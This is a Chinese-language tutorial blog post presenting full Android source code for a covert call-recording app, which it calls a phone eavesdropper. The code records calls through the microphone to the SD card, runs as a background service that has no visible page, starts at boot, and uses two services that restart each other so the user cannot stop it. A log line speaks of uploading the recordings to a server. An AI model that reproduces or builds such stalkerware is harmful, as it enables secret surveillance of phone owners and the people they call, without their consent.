简单实现android中的电话窃听器

想要实现电话监听器,思路:

1.首先得通过程序在后台运行,所以需要做成服务。

2.如何实现电话监听呢,首先要获得电话管理器,然后监听电话的状态。

3.通过电话的不同状态,实现电话的监听。

4.还得开机启动。

5.做一个守护进程然你无法关闭。。

6.在主activity里的oncreate()里自动开启,这个activity不需要页面

看代码实现:

package com.jrrjw.phonelistener;

import java.io.File;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class SystemService2 extends Service {
	// 电话管理器
	private TelephonyManager tm;
	// 监听器对象
	private MyListener listener;
	// 声明录音机
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	// 服务创建的时候调用的方法
	@Override
	public void onCreate() {
		// 后台监听电话的呼叫状态。
		// 得到电话管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 当电话的呼叫状态发生变化的时候调用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
					if (mediaRecorder != null) {
						// 8.停止捕获
						mediaRecorder.stop();
						// 9.释放资源
						mediaRecorder.release();
						mediaRecorder = null;
						System.out.println("录制完毕,上传文件到服务器。");
					}

					break;
				case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

					break;
				case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
					// 开始录音
					// 1.实例化一个录音机
					mediaRecorder = new MediaRecorder();
					// 2.指定录音机的声音源
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC); //这里使用的是mic也可以其他的类型,这个自行google,因为欧美国家有法律规定录音违法,所以这里我就只录自己发出的声音
					// 3.设置录制的文件输出的格式
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
					// 4.指定录音文件的名称
					File file = new File(
							Environment.getExternalStorageDirectory(),
							System.currentTimeMillis() + ".mp3");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					// 5.设置音频的编码
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					// 6.准备开始录音
					mediaRecorder.prepare();
					// 7.开始录音
					mediaRecorder.start();
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	// 服务销毁的时候调用的方法
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消电话的监听
		System.out.println("ondestory");
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		Intent i = new Intent(this, SystemService.class);
		startService(i);
		listener = null;
	}

}
2.守护进程

package com.jrrjw.phonelistener;

import java.io.File;
import java.io.IOException;

import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;

public class SystemService extends Service {
	// 电话管理器
	private TelephonyManager tm;
	// 监听器对象
	private MyListener listener;
	// 声明录音机
	private MediaRecorder mediaRecorder;

	@Override
	public IBinder onBind(Intent intent) {
		return null;
	}

	// 服务创建的时候调用的方法
	@Override
	public void onCreate() {
		// 后台监听电话的呼叫状态。
		// 得到电话管理器
		tm = (TelephonyManager) this.getSystemService(TELEPHONY_SERVICE);
		listener = new MyListener();
		tm.listen(listener, PhoneStateListener.LISTEN_CALL_STATE);
		super.onCreate();
	}

	private class MyListener extends PhoneStateListener {
		// 当电话的呼叫状态发生变化的时候调用的方法
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			super.onCallStateChanged(state, incomingNumber);
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_IDLE:// 空闲状态。
					if (mediaRecorder != null) {
						// 8.停止捕获
						mediaRecorder.stop();
						// 9.释放资源
						mediaRecorder.release();
						mediaRecorder = null;
						System.out.println("录制完毕,上传文件到服务器。");
					}

					break;
				case TelephonyManager.CALL_STATE_RINGING:// 零响状态。

					break;
				case TelephonyManager.CALL_STATE_OFFHOOK:// 通话状态
					// 开始录音
					// 1.实例化一个录音机
					mediaRecorder = new MediaRecorder();
					// 2.指定录音机的声音源
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					// 3.设置录制的文件输出的格式
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
					// 4.指定录音文件的名称
					File file = new File(
							Environment.getExternalStorageDirectory(),
							System.currentTimeMillis() + ".mp3");
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					// 5.设置音频的编码
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
					// 6.准备开始录音
					mediaRecorder.prepare();
					// 7.开始录音
					mediaRecorder.start();
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}

	// 服务销毁的时候调用的方法
	@Override
	public void onDestroy() {
		super.onDestroy();
		// 取消电话的监听
		System.out.println("ondestory");
		Intent i = new Intent(this, SystemService2.class);
		startService(i);
		tm.listen(listener, PhoneStateListener.LISTEN_NONE);
		listener = null;
	}

}


3.开机自启动

package com.jrrjw.phonelistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class BootReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Intent i = new Intent(context,SystemService.class);
		context.startService(i);
	}
}

4.主页面的显示

package com.jrrjw.phonelistener;

import com.jrrjw.phonelistener.R;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Toast;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		boolean isRunning = ServiceUtils.isServicRunning(this,
				"com.jrrjw.phonelistener.SystemService");
		if (!isRunning) {
			Intent intent = new Intent(this, SystemService.class);
			startService(intent);
		}
		Toast.makeText(this, "System Service is running", Toast.LENGTH_SHORT)
				.show();

		finish();

	}

}

5.清单文件的内容

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.jrrjw.phonelistener"
    android:versionCode="1"
    android:versionName="1.0" >

    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="17" />

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
        <activity
            android:name="com.jrrjw.phonelistener.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name="com.jrrjw.phonelistener.SystemService" >
        </service>
        <service android:name="com.jrrjw.phonelistener.SystemService2" >
        </service>

        <receiver android:name="com.jrrjw.phonelistener.BootReceiver" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
            </intent-filter>
        </receiver>
    </application>

</manifest>

6.用到的工具类  判断当前服务是否运行

package com.jrrjw.phonelistener;

import java.util.List;

import android.app.ActivityManager;
import android.app.ActivityManager.RunningServiceInfo;
import android.content.Context;

public class ServiceUtils {

	public static boolean isServicRunning(Context context, String serviceName) {
		ActivityManager am = (ActivityManager) context
				.getSystemService(context.ACTIVITY_SERVICE);

		List<RunningServiceInfo> infos = am.getRunningServices(100);

		for (RunningServiceInfo runningServiceInfo : infos) {
			String serviceN = runningServiceInfo.service.getClassName();
			if (serviceName.equals(serviceN)) {
				return true;
			}
		}

		return false;

	}

}
好了,这样就实现了简单的电话监听器,一旦你电话结束后,监听器就会把录好的声音以时间的形式保存到你的sd卡,这里我没有判断sd卡是否存在,只是一个demo


郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。